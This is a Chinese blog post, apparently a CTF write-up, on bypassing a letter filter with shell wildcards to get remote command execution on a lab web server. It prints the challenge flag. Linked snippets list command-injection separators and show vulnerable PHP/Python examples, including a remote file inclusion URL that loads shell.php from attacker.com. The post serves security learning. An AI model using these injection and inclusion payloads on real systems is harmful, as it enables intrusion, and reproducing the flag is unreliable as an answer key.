[web]-rce-刀塔

最新推荐文章于 2025-03-30 00:47:44 发布
原创 最新推荐文章于 2025-03-30 00:47:44 发布 · 258 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#rce #通配符

打开网站，flag.php,点开后发现是乱码。用Hex显示，也无法解码。

查看源代码发现有不少提交参数的地方，考虑sql注入和命令执行

没有sql注入提示的线索。考虑命令执行吧

http://172.30.0.8/index.php?act=news&nid=*%20/*

nid参数输入ls,提示非法输入，不能接受字母，输入通配符*,能够返回，超过5个*也会提示非法操作

设置如下payload: act=news&nid=??%20*

flag : ef167fd977019c10e6aa761a419c5240

少多慢快
关注
CTFHUB web-rce-过滤
2301_79783285的博客
12-18 1023
回车键，即键盘上的ENTER键，是一个比较有用的键，在文字编辑时，回车键的作用是换行，在输入网址时回车键的作用是“转到”，在执行DOS命令时，回车键的作用是执行。
CTFHub-Web-RCE-命令注入
qq_54037445的博客
11-29 2802
1、常见的拼接符1、A;B 先执行A，再执行B2、A & B 简单的拼接3、A | B 显示B的执行结果4、A&&B A执行成功之后才会执行B5、A || B A执行失败之后才会执行B, 在特殊情况下可代替空格2、常见的命令1.type 显示文本文件内容type x:\1.txt //显示x盘下的1.txt文件内容。
CTFHUB-web-RCE
ookami6497的博客
12-03 1794
无
CTFHUB-web-RCE-远程包含
weixin_68416970的博客
08-08 363
点击下面的 phpinfo 跳转之后发现查看到了 PHP版本，根据源码可以感觉到这里有文件包含，查看之后发现 allow 的配置都开着。抓包之后把 GET 换成 POST，构造 payload 发包，发现根目录有一个 flag 文件。使用 cat 命令查看 flag 文件发现了 flag。
CTFHUB-web-RCE-文件包含
weixin_68416970的博客
08-08 534
发现此处应该有文件包含，结合源代码，构造 payload 发送 post 请求，可以查看到根目录有一个 flag文件。查看 flag文件发现了本题的 flag。点击下面的 shell 出现下面的页面。
WEB安全--RCE--RCE的绕过
m0_74800552的博客
03-30 1391
回调函数（Callback Function）指的是将或作为参数传递给另一个函数，从而在特定条件下调用该函数。
CTFHUB web-rce-远程包含
2301_79783285的博客
12-15 427
1.解题方式与CTFHUB web-rce-php://input 相同
CTFHub技能树 Web-RCE 详解
weixin_45808483的博客
11-13 2823
RCE简介： 初学RCE（远程命令/代码执行漏洞）https://blog.youkuaiyun.com/qq_43814486/article/details/90020139 eval执行 启动环境 分析代码，提示我们将命令赋值给cmd执行 我们先查看当前位置的文件，没有什么用 /?cmd=system("ls"); 我们查看根目录文件，发现一个 flag_8999 文件 /?cmd=system("ls /"); 我们先尝试使用cat 命令查看 flag_8999文件 /..
（CTF学习）CTFHUB-WEB-RCE
weixin_43486981的博客
08-14 7406
CTFHUB-WEB-RCERCEeval执行文件包含strpos()的漏洞php://input知识点 php://input远程包含读取源代码php://filter命令注入linux中命令的链接符号过滤catlinux查看文本的命令过滤空格过滤目录分隔符过滤运算符综合过滤练习 RCE RCE英文全称：remote command/code execute（远程命令/代码执行漏洞） 分为远程命令执行ping和远程代码执行evel。 漏洞出现的原因：没有在输入口做输入处理。 我们常见的路由器、防火墙、入侵
CTFHUB-web-RCE-综合过滤练习
weixin_68416970的博客
08-07 361
用 ls flag_is_here 查看 flag 文件中的内容，发现回显为空，发现网页源代码中还过滤了几个字符，分别是 cat 、 flag 、 ctfhub ，这里尝试使用 %09 （ URL 编码中 表示 Tab 制表符）加上通配符进行绕过。查看网页源代码发现这次网页对 | 、 && 、 || 、 \ 、 / 、;发现换行符 %0a 和回车符 %0d 可以进行测试，在 URL 后面拼接访问。
【vulhub】thinkphp5 2-rce 5.0.23-rce 5-rce 漏洞复现
m0_75036923的博客
09-07 1042
【代码】【vulhub】thinkphp5 2-rce 5.0.23-rce 5-rce 漏洞复现。
autobuild:基础构建系统，用于导入和构建软件包，基于Rock（机器人构建套件）的autoproj
01-04
先展示下效果 https://pan.quark.cn/s/e612e515c6cb 自动构建的定义是什么？ Autobuild是由与构建系统（例如，autotools，CMake）和导入机制（git，svn，...）相连接的类群组构成。 它被应用于开发更高级别的工具，这些工具提供了对整个工作区进行管理的功能。 为了安装此程序，需将这行代码加入到您的应用程序的Gemfile文件中：gem autobuild 随后执行：$ bundle或者将其自行安装为：$ gem install autobuild在签出存储库之后，执行bundle install来安装所依赖的组件。 接着，执行bundle exec rake test来执行测试操作。 若需将这个gem安装到本地设备上，请运行bundle exec rake install 。 当准备发布新版本时，应更新version.rb文件中的版本标识，然后运行bundle exec rake release ，该命令将为这一版本生成git标签，推送git的提交记录和标签。
PasswordGenerator: HTML/CSS/JavaScript制作的密码生成器
最新发布
01-04
下载前必看：https://pan.quark.cn/s/a4b39357ea24 ram-password 随机密码生成器
【无人机协同】动态环境下多无人机系统的协同路径规划与防撞研究（Matlab代码实现）​
01-04
【无人机协同】动态环境下多无人机系统的协同路径规划与防撞研究（Matlab代码实现）​ 内容概要：本文围绕动态环境下多无人机系统的协同路径规划与防撞问题展开研究，提出基于Matlab代码实现的解决方案。研究重点在于设计适用于动态环境的路径规划算法，确保多无人机在复杂任务场景下能够高效协同飞行并有效避免碰撞。文中结合智能优化算法与路径规划技术，探讨了无人机编队、任务分配及实时避障策略，通过Matlab仿真验证所提方法的有效性与鲁棒性，为多无人机系统在实际应用场景中的部署提供了技术支持和理论依据。; 适合人群：具备一定Matlab编程基础，从事无人机控制、路径规划或智能优化算法研究的科研人员及研究生。; 使用场景及目标：①应用于灾害救援、环境监测、物流配送等多无人机协同作业场景；②实现动态环境中无人机间的高效协同与安全避障，提升任务执行效率与系统安全性； 阅读建议：建议结合文中提供的Matlab代码进行仿真实践，深入理解算法实现细节，并可根据具体应用场景调整参数或扩展功能以满足实际需求。
Bottle Fin实例分割数据集-20251117-165640.zip
01-04
一、基础信息 数据集名称：Bottle Fin实例分割数据集 图片数量： 训练集：4418张图片 验证集：1104张图片 总计：5522张图片 分类类别： - 类别0: 数字0 - 类别1: 数字1 - 类别2: 数字2 - 类别3: 数字3 - 类别4: 数字4 - 类别5: 数字5 - 类别6: Bottle Fin 标注格式：YOLO格式，包含多边形坐标，适用于实例分割任务。 数据格式：图片格式常见如JPEG或PNG，具体未指定。 二、适用场景 实例分割AI模型开发：数据集支持实例分割任务，帮助构建能够精确识别和分割图像中多个对象的AI模型，适用于对象检测和分割应用。 工业自动化与质量控制：可能应用于制造、物流或零售领域，用于自动化检测和分类物体，提升生产效率。 计算机视觉研究：支持实例分割算法的学术研究，促进目标检测和分割技术的创新。 教育与实践培训：可用于高校或培训机构的计算机视觉课程，作为实例分割任务的实践资源，帮助学生理解多类别分割。 三、数据集优势 多类别设计：包含7个不同类别，涵盖数字和Bottle Fin对象，增强模型对多样对象的识别和分割能力。 高质量标注：标注采用YOLO格式的多边形坐标，确保分割边界的精确性，提升模型训练效果。 数据规模适中：拥有超过5500张图片，提供充足的样本用于模型训练和验证，支持稳健的AI开发。 即插即用兼容性：标注格式直接兼容主流深度学习框架（如YOLO），便于快速集成到各种实例分割项目中。
基于Python与Qt的产品管理应用.zip
01-04
基于Python与Qt的产品管理应用
【计算机视觉】基于Deformable LKA的YOLOv8改进：目标检测精度与效率协同优化模型设计
01-04
内容概要：本文详细介绍了如何将Deformable LKA注意力模块嵌入YOLOv8目标检测模型，以提升其在复杂场景下的检测精度与效率。Deformable LKA结合了可变形卷积和大核注意力（LKA）的优势，前者使卷积核能自适应目标形状，后者通过大核捕获更广的全局特征并降低计算开销。文章提供了完整的实现步骤，包括环境搭建、模块代码实现、YOLOv8主干网络的修改方式以及训练和验证方法，并通过实验表明该改进在COCO数据集上显著提升了mAP（+3.3%），仅轻微降低推理速度。此外还给出了实际应用中的关键调参建议和适配场景。; 适合人群：具备一定深度学习基础，熟悉PyTorch框架，从事计算机视觉或目标检测相关工作的研究人员或工程师（工作1-3年为佳）； 使用场景及目标：①提升YOLOv8对变形目标、小目标的检测能力；②在精度与速度之间取得更好平衡；③掌握先进注意力机制的设计思想与工程实现方法； 阅读建议：建议结合飞书链接中的完整代码包进行实践操作，重点关注模块维度匹配、偏移量初始化等细节，确保顺利集成与训练。
raml-java-parser修改版，含smal util for Cucumber进程
01-04
先展示下效果 https://pan.quark.cn/s/a4b39357ea24 RAML Java 解析器是一个分支项目，其中整合了我们用于连接 Cucumber 与 RAML 的实用工具，并且附带了一个实例。 这一构思的核心在于，通过在 Cucumber 的定义中应用服务的 displayName，能够使单元测试工具（例如 rest-assured）明确了解如何针对各个服务进行状态测试及其具体方法。
kernel修改支持uid,gid等
01-04
kernel修改支持uid,gid等
polarctf-web-rce
11-01
仅给定的引用内容未涉及polarctf-web-rce相关信息。一般而言，Web RCE（Remote Code Execution，远程代码执行）漏洞是一种严重的安全漏洞，攻击者可利用该漏洞在目标Web服务器上远程执行任意代码。 在CTF竞赛中，针对Web RCE漏洞的利用方法通常有以下几种： - **命令注入**：若Web应用程序在处理用户输入时未进行严格过滤和验证，攻击者可通过构造恶意输入，将系统命令注入到应用程序调用的命令中执行。例如，在一个接受用户输入作为系统命令参数的PHP页面中，攻击者可构造类似 `;ls -l` 的输入来执行 `ls -l` 命令。示例代码如下： ```php <?php $input = $_GET['input']; system("ping -c 4 " . $input); ?> ``` 攻击者可通过构造URL `http://example.com/test.php?input=127.0.0.1;ls -l` 来执行 `ls -l` 命令。 - **代码注入**：当Web应用程序动态执行用户提供的代码时，攻击者可注入恶意代码。比如在一个支持用户输入Python代码并执行的页面中，攻击者可输入恶意的Python代码来获取系统信息或执行其他操作。示例代码如下： ```python code = input("请输入Python代码：") exec(code) ``` 攻击者可输入 `import os;os.system('ls -l')` 来执行 `ls -l` 命令。 - **文件包含漏洞利用**：若Web应用程序存在文件包含漏洞，攻击者可通过包含恶意文件来执行代码。例如，在一个PHP应用中，若存在如下代码： ```php <?php $file = $_GET['file']; include($file); ?> ``` 攻击者可构造URL `http://example.com/test.php?file=http://attacker.com/shell.php` 来包含并执行攻击者服务器上的恶意PHP文件。 在polarctf中，要发现和利用Web RCE漏洞，通常需要对Web应用进行全面的安全测试，包括对输入点的测试、对应用程序代码的审计等。同时，还需要了解目标应用所使用的技术栈和环境，以便更精准地发现和利用漏洞。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值